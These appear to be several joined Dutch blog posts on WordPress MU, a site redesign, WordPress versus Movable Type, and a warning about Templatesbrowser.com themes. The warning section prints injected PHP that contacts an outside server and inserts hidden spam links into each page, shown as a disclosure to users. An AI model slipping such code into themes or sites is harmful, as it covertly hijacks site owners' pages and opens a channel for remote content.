WordPress MU… wat is dat?

Even uitleggen: WordPress (wordpress.org) is een open-source pakket waarmee je weblogs en niet al te ingewikkelde websites kunt maken. WordPress MU (mu.wordpress.org) is in feite hetzelfde, maar met het verschil dat je het maar één keer hoeft te installeren om meerdere websites op te zetten. MU (spreek uit mjoe) staat dan ook voor multi-use.

Themes (om je WordPress-site een eigen smoel te geven) en plugins (extra snufjes) hoef je maar één keer te installeren. Per website kun je beslissen deze wel of niet te activeren. Elke WordPress MU-website draait naar keuze op een eigen subdomein (sitenaam.laterna.nl), of in een submap (laterna.nl/sitenaam).

Het ei van Columbus voor wie meerdere WordPress-websites beheert? Soms wel, soms niet. Hieronder mijn bevindingen.

Voordelen van WordPress MU?

Uniformiteit in beheer
Zoals gezegd hoef je bij WordPress MU alle themes en plugins maar één keer te installeren. Dus zodra een nieuwe versie van een plugin verschijnt, hoef je die maar eenmalig bij te werken. Dat scheelt veel werk als je heel veel websites beheert. Zeker als het gaat om een security-upgrade is het belangrijk om snel om te kunnen schakelen naar een veilige nieuwe versie.

Meertalige websites
WordPress MU is handig bij het opzetten van een meertalige website. Voor elke taal maak je een nieuwe website aan. Bouw in de layout een taalswitch in en je bent al een heel eind op streek.

Backups
WordPress MU stopt de data van alle websites in één en dezelfde MySQL-database. Je hoeft dus maar één database te backuppen. Maak je een nieuwe website aan op dezelfde WPMU-installatie? Als je eenmaal hebt gezorgd voor een goede backupprocedure, dan wordt de nieuwe website automatisch meegenomen.

OTAP
Complexe websites worden vaak volgens het OTAP-stappenplan opgezet (Ontwikkeling, Test, Acceptatie, Productie), of een vereenvoudigde versie daarvan, bijvoorbeeld alleen Test en Productie. In WordPress MU kun je voor elk van deze stappen een aparte website aanmaken. Zodra een stap is afgerond, kun je de website overkopiëren naar de volgende website. Alle websites draaien echter op dezelfde server, waardoor je minder snel voor verrassingen komt te staan als een website live gaat.

Aggregatie
Heb je een hele serie weblogs onder WordPress MU en wil je een voorpagina maken met een overzicht van de laatste blogberichten, of een tagcloud van alle blogs? Er bestaan diverse plugins die dit voor je kunnen doen, zoals AHP Sitewide Recent Posts for WPMU en WordPress MU Sitewide Tags Pages. Een voorbeeld van zo’n totaaloverzicht zie je op weblogs.nos.nl en www.blogo.nl.

Geavanceerde rechtenstructuur
Bij WordPress werd al onderscheid gemaakt tussen auteurs en beheerders, maar bij WordPress MU gaat de rechtenstructuur nog een stap verder. Je hebt daar beheerders voor de hele WordPress MU-installatie en ook beheerders per afzonderlijke site, of combinatie daarvan. Gebruikers kunnen zowel redacteur als beheerder zijn, of zelfs redacteur van de ene site en beheerder van de andere site. Je hoeft maar één keer je wachtwoord te wijzigen en de wijziging geldt voor alle websites.

En de nadelen van WordPress MU?

Tot zover allemaal goed nieuws. Afgelopen jaar heb ik ook een aantal minpunten van WordPress MU ondervonden.

Beperkte compatibiliteit
Het overgrote deel van alle WordPress-plugins en themes is gemaakt voor de klassieke WordPress-versie. De meeste draaien ook wel op WordPress MU, maar soms vraagt het wat extra programmeerinspanning om een plugin of theme ook daar goed te laten werken. Het is me ook zelf overkomen: je koopt voor 75 dollar een mooi WordPress-theme, bij installatie blijkt die niet geschikt voor WPMU, maar dat stond niet op de site toen ik dat theme kocht.

Downtime bij upgraden
Is er een belangrijke nieuwe WordPress-versie verschenen? Bij WPMU hoef je maar één installatie te upgraden. Maar dat is tegelijkertijd ook een nadeel: mocht de upgrade niet vlekkeloos verlopen (bijvoorbeeld omdat een van de plugins niet compatibel is met de nieuwe versie), dan zijn álle websites op die installatie uit de lucht totdat jij het probleem hopelijk hebt opgelost.

Grotere kwetsbaarheid
Ook hacks brengen grotere risico’s met zich mee bij WordPress MU. Zoals gezegd maken alle websites gebruik van dezelfde MySQL-database. Als een WPMU-installatie is gekraakt, dan kunnen álle websites verloren gaan.

Niet up-to-date
WordPress MU is gebaseerd op de programmeercode van WordPress. Zodra een beveiligingslek wordt gevonden, verschijnt een nieuwe versie van WordPress. Daarna duurt het meestal een paar dagen, of zelfs nog langer, voordat ook WordPress MU eindelijk is bijgewerkt.
Uiteraard heb ik er begrip voor dat open-source software grotendeels vrijwilligerswerk is en dat veel ontwikkelaars dit naast hun reguliere baan doen. Toch zit deze vertraging in het updaten van WPMU mij niet lekker. Voor hackers is het immers een kleine moeite om een script te schrijven dat internet afzoekt naar WordPress MU-websites die nog niet up-to-date zijn. Als het dagen duurt voordat een WPMU-site weer veilig is, dan hebben ze zeeën van tijd om toe te slaan.

Subdomeinen en submappen
Zoals gezegd kun je bij de installatie van WordPress MU kiezen of een website een subdomein (sitenaam.laterna.nl) of een submap (laterna.nl/sitenaam) moet worden van het hoofddomein. Die keuze kun je maar één keer maken. Het is wel mogelijk om later alsnog te switchen van het een naar het ander, maar dat is bepaald niet eenvoudig en de benodigde stappen worden bij mijn weten nergens op de officiële website uitgelegd (wel op particuliere blogs). Doorgaans wordt aangeraden om in deze situatie alles opnieuw te installeren.
Verder heeft WordPress MU nog een onhebbelijkheid: hij laat standaard www. in het adres van het hoofddomein weg. Mijn website heeft daardoor een jaar lang laterna.nl als adres gehad, in plaats van www.laterna.nl.
Nu maakte dat in de praktijk niet zo gek veel uit: je werd van www.laterna.nl automatisch doorgelinkt naar laterna.nl. En ook hier kun je met enig kunst- en vliegwerk het www. wel weer terugkrijgen in het adres. Toch raakt dit bij mij een principieel punt: ik wil dit soort dingen zélf beslissen. Waarom moet WPMU per se afwijken van de conventie dat alle webadressen met www beginnen?

Conflicten met andere toepassingen
Zodra je op een Linux-server kiest voor installatie van WordPress MU op subdomeinen, dan kunnen er complicaties optreden. Afhankelijk van hoe je de DNS hebt gewijzigd, kunnen bestaande subdomeinen opeens niet meer werken, bijvoorbeeld webmail.laterna.nl. Dit is allemaal wel op te lossen, maar het rechtzetten van DNS-settings is tijdrovend omdat sommige wijzigingen pas na enkele uren effect hebben.
Als je geen toegang hebt tot je eigen DNS, dan is mijn advies: installeer WPMU-websites als submappen, niet als subdomeinen – het kan je een heleboel rompslomp schelen.

Kortom?

Het is niet mijn bedoeling om WordPress MU hier af te kraken – alleen maar om de plussen en minnen in kaart te brengen.

Voor mij persoonlijk is WPMU niet de juiste oplossing gebleken. Ik beheer maar een handjevol weblogs en ben tot de conclusie gekomen dat WordPress MU in mijn situatie meer overhead oplevert dan bespaart. Inmiddels ben ik weer teruggegaan naar afzonderlijke WP-installaties.

Toch zijn er situaties waar WPMU wel degelijk een goede oplossing is. Ik denk dan aan een combinatie van de volgende omstandigheden:

• schaal: je hebt te maken met meer dan pakweg 5 WordPress-websites
• uniformiteit: alle websites hebben grote overeenkomsten in vormgeving en functionaliteit, zodat het beheer van themes en plugins overzichtelijk blijft
• heldere taakverdeling: je werkt met meerdere mensen en kunt de taken van admin en author goed scheiden

Ook denk ik dat WordPress MU hogere eisen stelt aan de rol van beheerder:

• technische kennis: Linux, DNS, PHP, MySQL-databases, zelf kunnen sleutelen aan themes en plugins (mochten deze niet goed werken in WPMU)
• beschikbaarheid: in geval van beveiligingsincidenten moet de admin snel kunnen ingrijpen en tijdens zijn vakantie moet er altijd een plaatsvervanger zijn

Kan jouw organisatie of team voldoen aan deze voorwaarden? Ga dan gerust aan de slag met WordPress MU, bij verantwoord gebruik zul je er veel plezier van hebben.

En anders: denk er nog eens goed over na. Misschien is dan de klassieke versie van WordPress nog zo gek niet – ook al moet je die voor elke website apart installeren.

En er moet nog veel meer gebeuren. Het belangrijkste is dat de vormgeving naar het Nederlands moet worden vertaald. Ook ben ik nog niet tevreden over het beeldmateriaal en de toegankelijkheid van statische pagina’s. En verder lijkt het me handig om alle berichten met terugwerkende kracht van tags te voorzien en een tagcloud toe te voegen. Zo blijkt maar weer: een website is nooit af…

Bij WordPress is speciale aandacht besteed aan zoekmachinevriendelijke pagina’s en aan het spamvrij houden van het gastenboek en het contactformulier. Hiervoor zijn verschillende WordPress-plugins ingezet, waaronder Akismet, All in One SEO Pack, WP Comment Sorter, Google XML Sitemaps, en niet te vergeten het krachtige en gebruiksvriendelijke cFormsII.

Nog niet zichtbaar op de site is NextGEN Gallery, een fantastische plugin om WordPress-websites uit te breiden met diashows.

Dankzij een zelfgeschreven conversieprogramma is het gelukt om het gastenboek van de oude website naar WordPress om te zetten.

Laterna heeft de site daarom van de grond af aan opnieuw gebouwd met HTML en CSS, en het resultaat overgezet naar WordPress. Net als bij Lopende Zaken is hard gewerkt om de site ook perfect te krijgen in de belangrijkste Mac-browsers, Safari en Firefox. Een belangrijk hulpmiddel daarvoor is BrowserCam, een betaalde dienst die je site laat zien op elk gewenst platform, in elke gewenste browser en in elke gangbare beeldschermresolutie.

Voor technisch onderlegde lezers volgen hier enkele browserproblemen waarmee ik te maken kreeg:

• Op sommige pagina’s rouleert de foto linksboven met een overvloei-effect. Daarvoor had ik in eerste instantie een Flash-animatie gebruikt, gemaakt met het handige FlashSlider. Dit bleek echter in Firefox een onoplosbaar probleem op te leveren: als je met behulp van layers een element bovenop een Flash-animatie plaatst – in dit geval de kop martijndegroot.communicatie – dan verdwijnt dat element in Firefox steevast ónder de animatie.
  De oplossing: de Flash-animatie vervangen door een stuk Javascript, de Ultimate Fade-in slideshow. Dit op zich voortreffelijke script leverde weer een ander, heel curieus browserprobleem op in Safari (bij elke fotowisseling wordt de z-index van de foto 1 opgehoogd, waardoor de kop na zekere tijd alsnog verdwijnt), maar die waren op te lossen door de kop martijndegroot.communicatie een hele hoge z-index te geven.
• Ook de horizontale navigatiebalk leverde problemen op in Safari: de witte onderkopjes verschenen niet als je met je muis over de cijfers 1.0 t/m 4.0 bewoog. Na een paar uur puzzelen de oorzaak gevonden: in Safari blijk je met Javascript wel de CSS-eigenschappen van een gegeven blok te kunnen manipuleren, maar niet als die eigenschappen geërfd zijn van een groter blok, de zogeheten parent.
• De broodtekst liet weer een bug in Internet Explorer zien: bij cursieve teksten verschoof de rechtermarge naar rechts. Dit probleem en de oplossing worden beschreven op Positioniseverything.net. Opgelost met een extra CSS-regel overflow: hidden.
• Nog een overflow-probleem in de lichtkrant-achtige regels onder de broodtekst. Het CSS-kenmerk overflow: hidden blijkt in de meeste browsers niet te werken als de tekst op nowrap staat en ook nog relatief wordt gepositioneerd. Met dank aan mailinglijst WebProf vond ik een ‘hack’ voor Internet Explorer, maar in Opera (Windows) en Safari (Mac) bleef het probleem bestaan. De enige uitweg: deze regels links en rechts handmatig afkappen. Niet bijster elegant, maar als tijd en budget op zijn, dan is een pragmatische oplossing beter dan helemaal geen oplossing.

Ter vergelijking: de oude Flash-website staat voorlopig nog even hier geparkeerd.

Een enorme beveiligingsinbreuk, maar het door Onno vertaalde bericht werd totaal niet opgepikt door de blogosfeer, ook niet na berichtjes op Digg en eKudos. Nu toch wel: in juni kwamen Joomla-gebruikers erachter dat Templatesbrowser.com niet te vertrouwen is en via deze omweg begint nu ook eindelijk de WordPress-wereld wakker te worden, lees bijvoorbeeld dit en dit. Ook een nieuw berichtje op Digg krijgt volle aandacht: WARNING! WordPress & Joomla; your theme might have malicious code. Is het het woordje WARNING waardoor internetters er nu wel aandacht aan besteden?

Hoe werkt Templatesbrowser.com?
Op deze site kun je meer dan honderd gratis WordPress-themes downloaden. Deze themes zijn weer afkomstig van andere sites, maar uit de tien willekeurige themes die ik heb gedownload blijkt dat er is een sneaky stukje PHP-code toegevoegd aan het bestand functions.php:

function credits()
{
$url = “http://get.templatesbrowser.com/wp.php?” .
“url=” . urlencode($_SERVER['REQUEST_URI']) . “&” . “host=” . urlencode($_SERVER['HTTP_HOST']);
$check = @fsockopen(“get.templatesbrowser.com”, 80, $errno, $errstr, 3);
if($check)
{
@readfile($url);
fclose($check);
}
}

Voor wie geen PHP kent: deze functie legt contact met get.templatesbrowser.com en geeft daarbij het adres van je eigen site mee. Bijvoorbeeld:

http://get.templatesbrowser.com/wp.php?url=%2F&host=www.laterna.nl

In mijn geval geeft de server de volgende code terug:

<div id=”copyl” style=”display: none;”><a href=”http://www.casinotropez.com/trcpromo-nincs-online-pmail18-fr”>casino en ligne</a></div>

Dit is de HTML-code van een link naar een site die ik niet ken en waar ik ook niets mee te maken wil hebben. Dankzij de CSS-toevoeging ‘display: none’ is die onzichtbaar opgemaakt. Deze code wordt onderaan elke WordPress-pagina toegevoegd. Dat gebeurt in het bestand footer.php:

<?php credits(); wp_footer(); ?>

Het geniepige is dat het contact met templatesbrowser.com alleen lijkt te werken vanuit een WordPress-weblog. Als ik bovenstaand webadres zelf invul in mijn browser, dan wordt er geen HTML-code teruggegeven.

Ook merk ik dat het uitmaakt op welk adres je weblog staat. Als ik urlencode($_SERVER['HTTP_HOST']) simpelweg vervang door www.google.com of www.startpagina.nl, dan wordt er geen verborgen link teruggegeven, maar helemaal niets, of iets onschuldigs als

<!– T-B –>

Ook zit er een random element in: als je op F5 drukt, verandert soms de code.

Een hogere PageRank?
Templatesbrowser.com doet dit klaarblijkelijk om sommige sites een hogere PageRank te bezorgen. Toch lijkt het me niet waarschijnlijk dat Google erin trapt. De manier waarop de link onzichtbaar is gemaakt (style=”display: none;”) is simpelweg té doorzichtig. Maar als Google inderdaad doorheeft dat het hier linkspam betreft, dan loopt de eigenaar van de weblog het risico om hiervoor gestraft te worden. Door de aard van PHP (een server-side scriptingtaal waarvan Google alleen de uitvoer ziet, niet de bron) is niet zichtbaar dat de betreffende HTML door een heel andere site wordt gegenereerd.

Het risico?
Uit het bovenstaande blijkt dat het downloaden van een WordPress-theme een zeker beveiligingsrisico inhoudt. Zoals gezegd bestaat zo’n theme niet alleen uit CSS-opmaak, maar ook uit extra PHP-code. Welke WordPress-gebruiker neemt de moeite om die meegeleverde PHP-code regel voor regel uit te vlooien alvorens een theme te installeren? PHP kan bovendien veel ernstiger dingen doen dan alleen maar een verborgen link in je site stoppen.

Al met al vind ik dit toch wel een belangrijk minpunt van WordPress. Voor zover ik kan nagaan, is het in Movable Type niet mogelijk om malicieuze code te stoppen in een template. Al met al lijkt de architectuur van WordPress meer op flexibiliteit gericht, minder op beveiliging.

Ik schreef dat je WordPress niet alleen voor weblogs kunt gebruiken, maar ook als een simpel contentmanagementsysteem voor een bescheiden zakelijke website. Is het inderdaad zo simpel, vroeg die opdrachtgever zich af?

Mijn eerste test is te bekijken op www.klog.nl. Het enige wat ik nog niet voor elkaar heb, is de volgorde van de statische pagina’s rechts. Waarschijnlijk zie ik hierbij iets heel simpels over het hoofd.

De volgende stap: een theme downloaden en kijken hoe deze testsite met voornamelijk statische pagina’s er dan uit komt te zien. Wordt vervolgd!

Brontaal, installatie en hosting
WordPress is een standaard PHP/MySQL-toepassing. Bijna alle hostingproviders ondersteunen deze combinatie, dus installatie zal zelden een probleem vormen. De installatieprocedure is bijzonder gebruiksvriendelijk. Het enige addertje onder het gras is dat sommige bestanden (bijvoorbeeld .htaccess) en mappen (wp-content) schrijfbaar moeten zijn – anders kun je bijvoorbeeld geen themes handmatig aanpassen via de WordPress-interface.

Movable Type is in Perl geschreven, met andere woorden: het is een CGI-script. Ook dit wordt vrij algemeen ondersteund. Wel heb ik bij verschillende providers ervaren dat installatie soms wat meer trekken en duwen vergt, omdat de rechten op alle bestanden heel precies moeten worden ingesteld – anders krijg je een ‘internal server error’. Ook heb ik meer dan eens meegemaakt dat Movable Type opeens niet meer draaide na een serverupgrade door de provider. Gelukkig was dit meestal vrij snel weer opgelost.

Movable Type draait naar keuze ook op andere databases dan MySQL. Zelfs op helemaal geen database (hij gebruikt dan gewoon het filesysteem voor opslag), maar in één geval heb ik ervaren dat Movable Type’s eigen dataopslag niet robuust is en bijna elke maand wel een keer vastloopt. Dus elke dag een backup maken van je hele MovableType-installatie is in dit geval een must.

Nog een voordeel van Movable Type ten opzichte van WordPress: met één Movable Type-installatie kun je een onbeperkt aantal weblogs aanmaken en beheren. Bij WordPress kun je wel meerdere weblogs op dezelfde site opzetten, maar alleen door WordPress steeds opnieuw te installeren in verschillende submappen. Dat betekent dat als je een nieuwe WordPress-versie wilt installeren, je álle installaties stuk voor stuk moet upgraden.

Interface
Dit is een kwestie van smaak. De Movable Type-interface vind ik er strakker en professioneler uitzien, maar mijn ervaring is dat die van WordPress veel intuïtiever in elkaar zit. Bij WordPress lijken alle opties gegroepeerd rond de gebruiker: wat zijn de belangrijkste dingen die hij met een weblog doet? Bij Movable Type lijkt vooral het systeem zelf met al zijn mogelijkheden centraal te staan.

In ieder geval hoef je bij WordPress minder te zoeken om een bepaalde optie te vinden. Bij zowel Movable Type als WordPress heb ik inmiddels ervaring met het inwerken van nieuwe gebruikers. Bij Movable Type kost dat enige tijd en training, maar bij WordPress hoef je de gebruiker bijna niets uit te leggen. Ik heb gemerkt dat zelfs kinderen van 10 jaar er in een mum van tijd mee kunnen werken, mits je wel de Nederlandse versie installeert.

Semi-statisch vs. dynamisch: voordelen
Een belangrijk technisch verschil tussen WordPress en Movable Type is dat pagina’s van WordPress-weblogs dynamisch worden gegenereerd vanuit de MySQL-database. Het nadeel is echter dat een veelbezochte WordPress-weblog de MySQL-server flink kan belasten. Dat gebeurde bijvoorbeeld vorig jaar, toen Sargasso de Dutch Bloggies won en de site vervolgens op tilt sloeg.

Een bijkomend nadeel van dynamische pagina’s is gelegen in Google-advertenties. Wie Google-advertenties op zijn site heeft staan en zijn logfiles wel eens bekijkt, ziet dat pagina’s die nog niet in de Google-index staan dubbel worden opgevraagd: eerst door de bezoeker en 1 of 2 seconden later door de Google-server, want die moet de pagina even bekijken om bijpassende advertenties te genereren. Dat betekent een grotere MySQL-serverbelasting – als je site nog helemaal niet in Google zit zelfs een verdubbeling.

Bij Movable Type zal dit niet gauw gebeuren. Een Movable Type-site bestaat uit semi-statische pagina’s, die alleen bij updates en reacties opnieuw worden gegenereerd. Als een website duizenden bezoekers per dag trekt, blijft het aantal MySQL-queries dus toch beperkt. En zelfs als de MySQL-server tijdelijk down gaat, kan iedereen de site blijven bezoeken – alleen zal de reactiemogelijkheid dan even niet werken. Omvangrijke Nederlandse websites die Movable Type gebruiken, zijn GeenStijl en Tweevoeter. Tweevoeter trekt zo’n 3500 bezoekers per dag, maar de serverload komt zelden boven de 0,1.

Semi-statisch vs. dynamisch: nadelen
Gezien het voorgaande lijkt het erop dat een semi-statische website alleen maar voordelen biedt tegenover dynamische websites. Er zijn ook nadelen. Allereerst is het verwijderen van pagina’s uit een semi-statische site nogal omslachtig. Bij Movable Type moet je allereerst de betreffende ‘entry’ verwijderen, vervolgens een ‘rebuild’ doen om de héle site opnieuw te genereren, en het vervelendste van allemaal: via FTP moet je de statische pagina handmatig van de server verwijderen, om te voorkomen dat statische pagina’s en dynamische MySQL-inhoud uit de pas gaan lopen. Deze werkwijze vind ik simpelweg niet professioneel. Bij WordPress is dit alles veel simpeler: weg is weg.

Een ander nadeel van semi-statische sites zijn zoekacties van gebruikers. Bij WordPress maakt het qua performance niet uit of je een ‘gewone’ pagina ziet, of een pagina met zoekresultaten. Maar bij Movable Type is het verschil enorm, zowel voor de gebruiker als de beheerder. Alleerst merkt de gebruiker dat zoekacties al behoorlijk lang kunnen duren, soms wel een halve minuut. Ik heb ooit ergens gelezen dat Movable Type de MySQL-database sequentieel (!) doorloopt en niet via indexen, dus hoe meer berichten, hoe langer het zoeken duurt. Vervolgens moeten de zoekresultaten ook nog eens ‘on the fly’ worden opgemaakt. En als je de al eerder genoemde Google-advertenties op je site hebt staan, wordt het nog twee keer zo erg, want na elke zoekactie doet Google precies dezelfde zoekactie 1 of 2 seconden nog eens opnieuw om bijpassende advertenties te kunnen genereren.

Ook qua beheer heeft dit gevolgen. Movable Type heeft een onderdeel om templates te beheren, waarmee je webpagina’s naar eigen smaak kunt opmaken. Maar die templates betreffen alleen de statische pagina’s, niet de opmaak van zoekresultaten. Voor dat laatste bestaan wel aparte templates, maar die kun je alleen via FTP aanpassen, niet via de Movable Type-interface. Ook dit vind ik niet professioneel. Zelf heb ik dit opgelost door een extra weblog met de naam Systeem aan te maken en daar bij de ‘index templates’ alle stylesheets, Javascript-bestanden, MT-zoektemplates en andere systeembestanden (.htaccess, robots.txt, MT-configuratie) onder te brengen. Kan ik toch alles beheren via mijn webbrowser – en een indirect voordeel: dan hoef ik alleen backups te maken van de MySQL-database.

Als je in MovableType-templates ook PHP-regels zet, krijg je met een bijkomend nadeel te maken. Bij semi-statische pagina’s is PHP-code geen enkel probleem (mits je de extensie van alle bestanden natuurlijk instelt op .php), maar in tegenstelling tot de rest van een Movable Type-site worden zoekresultaten wel dynamisch gegenereerd, en wel door een Perl-script. Eventuele PHP-regels in een zoektemplate worden niet uitgevoerd door Perl en zijn zelfs leesbaar als je de HTML-bron opvraagt. Erg onhandig en zelfs onveilig, want leesbare PHP-broncode kan hackers een indicatie geven waar belangrijke bestanden op je server staan.

Layout: themes vs. templates
Zowel Movable Type als WordPress hebben de mogelijkheid om een eigen layout te maken voor je weblog. Daarnaast kun je ook kant-en-klare ‘themes’ downloaden. Bij WordPress ligt de nadruk op het tweede, bij Movable Type op het eerste.

WordPress gaat vooral uit van themes, die je eventueel met een simpele editor nog iets kunt verfijnen (zoals ik heb gedaan met de layout die je nu ziet). Ook Movable Type heeft de mogelijkheid om kant-en-klare themes te gebruiken, maar die is er pas later bijgekomen. Je moet er ook een plug-in voor downloaden.

Bij Movable Type zijn de makers overduidelijk uitgegaan van professionele gebruikers die in staat zijn om zelf via ‘templates’ een eigen layout van de grond af aan op te bouwen. Movable Type heeft er zelfs een eigen macrotaal voor ontwikkeld, werkelijk alles kun je ermee maken. Op dit punt zit Movable Type duidelijker beter in elkaar dan WordPress.

Het aanpassen van een WordPress-theme heeft wat meer weg van ‘hacken’: om de bijbehorende bestanden aan te passen zit je te wroeten in een niet al te doorzichtige combinatie van HTML, CSS en zelfs PHP. Ook zijn er verschillende WordPress-themes die de basisinstellingen aan hun laars lappen. In WordPress kun je bijvoorbeeld een standaard datumformaat instellen (“6 april 2007″), maar sommige themes trekken zich er niets van aan en kiezen hun eigen weergave (“April 6th, 2007″). Ook zijn de meeste WordPress-themes niet in het Nederlands vertaald – maar dat geldt ook voor Movable Type.

Hoe dan ook, zowel voor Movable Type als WordPress zijn honderden ‘themes’ te vinden om je weblog een eigen opmaak te geven. Ondanks genoemde minpunten geef ik de voorkeur aan WordPress-themes: die zijn veel uitgebreider zijn en ook veel gevarieerder. Wie niet alleen maar een leesbare en functionele weblog wil hebben maar ook iets visueel aantrekkelijks, vindt bij WordPress veel meer van zijn gading. Dan maar zelf de theme in het Nederlands vertalen.

Plug-ins
Ook als het gaat om plug-ins zijn WordPress en Movable Type ruimschoots voorzien. Werkelijk alles is te vinden: van comment-spamfilters tot aan mogelijkheden om anderssoortige content, bijvoorbeeld je eigen foto’s uit Flickr, weer te geven in een aparte kolom.
WordPress lijkt zelfs nog iets verder te gaan, je vindt er bijvoorbeeld ook een plug-in om een simpel forum of een fotoalbum op te zetten. Ook zijn er mogelijkheden om WordPress te integreren met andere bekende toepassingen, zoals Phorum, Coppermine en Gallery.

Licenties en open-source
WordPress is een echt open-source pakket. Je kunt het gratis gebruiken en er worden op grote schaal plug-ins en themes uitgewisseld.
Bij Movable Type ligt het wat minder duidelijk. Weliswaar is er een grote en actieve gebruikersgroep, waardoor het pakket duidelijk open-source trekjes heeft. Maar uiteindelijk is Movable Type toch het product van een commercieel bedrijf. Je mag het alleen voor niet-commercieel gebruik gratis gebruiken, in alle andere gevallen moet je ervoor betalen.
Op zich is dat slim bekeken van Six Apart, de makers van Movable Type. Een grote gebruikersgroep zorgt voor veel mond-tot-mond-reclame – dat scheelt weer advertentiekosten. En al die plug-ins van gebruikers drukken de kosten op de verdere ontwikkeling van het pakket.
Toch kun je je afvragen hoe lang Six Apart dit eten van twee walletjes kan volhouden. Zoals bekend is Mambo enkele jaren geleden ten onder gegaan aan een soortgelijke opzet, toen de commerciële belangen en het open-source gedachtengoed toch te ver uiteen bleken te lopen. Uiteindelijk ging de open-source tak zelfstandig verder onder de naam Joomla. Krijgen we straks van Movable Type ook een open-source afsplitsing? Afwachten maar.

Alleen maar weblogs?
Met zowel WordPress als Movable Type kun je ook prima een homepage of zakelijke site maken, dus zonder weblogfunctie. WordPress vind ik daarvoor het meest geschikt. Hier wordt expliciet onderscheid gemaakt tussen het schrijven van berichten en van pagina’s. Die pagina’s kun je bovendien een hierarchische structuur geven. Het hangt echter wel af van de gekozen ‘theme’ in hoeverre die pagina’s overzichtelijk navigeerbaar zijn. Een mooi uitklapmenu ben ik tot nu toe in nog geen enkel WordPress-theme tegengekomen. Met een mooi navigatiemenu zou WordPress denk ik het ideale instap-cms zijn en een deel van de Joomla-markt kunnen wegkapen.

Ook in Movable Type is het mogelijk om iets anders dan een weblog te maken, maar daar ontbreekt de hierarchische structuur – die moet je zelf simuleren door het menu met alle onderdelen van de site handmatig te onderhouden. Wel weer prettig bij Movable Type is de mogelijkheid meerdere weblogs aan te maken. De een kun je gebruiken voor nieuwsberichten, de andere voor tijdloze informatiepagina’s. Met enige kunstgrepen zijn die twee weer te integreren, zodat je bijvoorbeeld op een informatiepagina onderaan een overzichtje van relevante nieuwsberichten aantreft.

Spam
Dan de vraag: hoe gaan Movable Type en WordPress om met ‘comment spam’? Beide pakketten hebben plug-ins om spam tegen te gaan, maar ik vind die van WordPress (de plug-in Akismet) beter functioneren. In één maand tijd heeft die bij mij nog geen enkele fout gemaakt in het onderscheiden van spam en gewone reacties.

De spamdetector van MT kun je instellen op een schaal van -10 (soepel) tot +10 (agressief). Bij mij geeft +1 of +2 doorgaans de beste resultaten, maar toch blijven er dingen doorheen glippen. Er is maar één mogelijkheid om spam met zekerheid tegen te gaan en dat is je weblog zo instellen dat alle reacties eerst door een beheerder moeten worden goedgekeurd. Maar dan moet je wel een vervanger zoeken als je met vakantie gaat.

Ondersteuning
Ten slotte de ondersteuning. De documentatie is in beide gevallen goed te noemen. De website van Movable Type c.q. Six Apart ziet er professioneler uit, maar ik vind het altijd lastig om snel iets terug te vinden – om maar eens wat te noemen: welke tag moet je ook alweer gebruiken om alleen de tien meest recente berichten in een datumarchief te tonen? Ook op dit punt is de WordPress-site intuïtiever.
Beide pakketten hebben een supportforum waar je vragen kunt stellen. Op veel vragen is al een antwoord te vinden.

Conclusie
Movable Type is overduidelijk gericht op een professionele doelgroep. De configuratiemogelijkheden zijn uitgebreid, maar de leercurve is veel steiler dan bij WordPress. Door de semi-statische opzet is Movable Type vooral geschikt voor veelbezochte en gecompliceerde sites, bijvoorbeeld Treehugger. Het pakket kun je het beste gebruiken als je een webmaster of systeembeheerder tot je beschikking hebt. Wel heeft Movable Type een paar flinke tekortkomingen – vooral zoekopdrachten van gebruikers en het verwijderen van berichten zijn niet bijster professioneel geïmplementeerd.

WordPress is ideaal voor particulieren en voor professionals die heel snel resultaat willen zien. Het is gemakkelijk te installeren, gemakkelijk in gebruik en heeft een uitstekend spamfilter. Door de overvloed aan plug-ins en themes kun je in een paar uur een overtuigende weblog in elkaar zetten. Het pakket is bovendien ook geschikt voor niet-weblogs, je zou er prima een kleine site met vaste informatiepagina’s mee kunnen maken. Wat me persoonlijk trekt aan WordPress is dat de gebruikersgemeenschap veel schwung uitstraalt. Als WordPress-gebruiker krijg je echt het gevoel dat webloggen een feestje is.

Of ik WordPress voor deze site blijf gebruiken, is echter nog maar de vraag. De eerste ervaringen zijn wel heel positief, maar ik mis de mogelijkheid om meerdere weblogs naast elkaar te installeren. Ook zou ik meer grip willen hebben op hoe de archieven worden georganiseerd en hoe de site wordt opgenomen in Google. Maar voor enkele andere sites, met name Klimaatnieuws.nl, denk ik wel dat ik met WordPress beter af ben dan met Movable Type. Welke van de twee je kiest, hangt dus vooral van de omstandigheden af.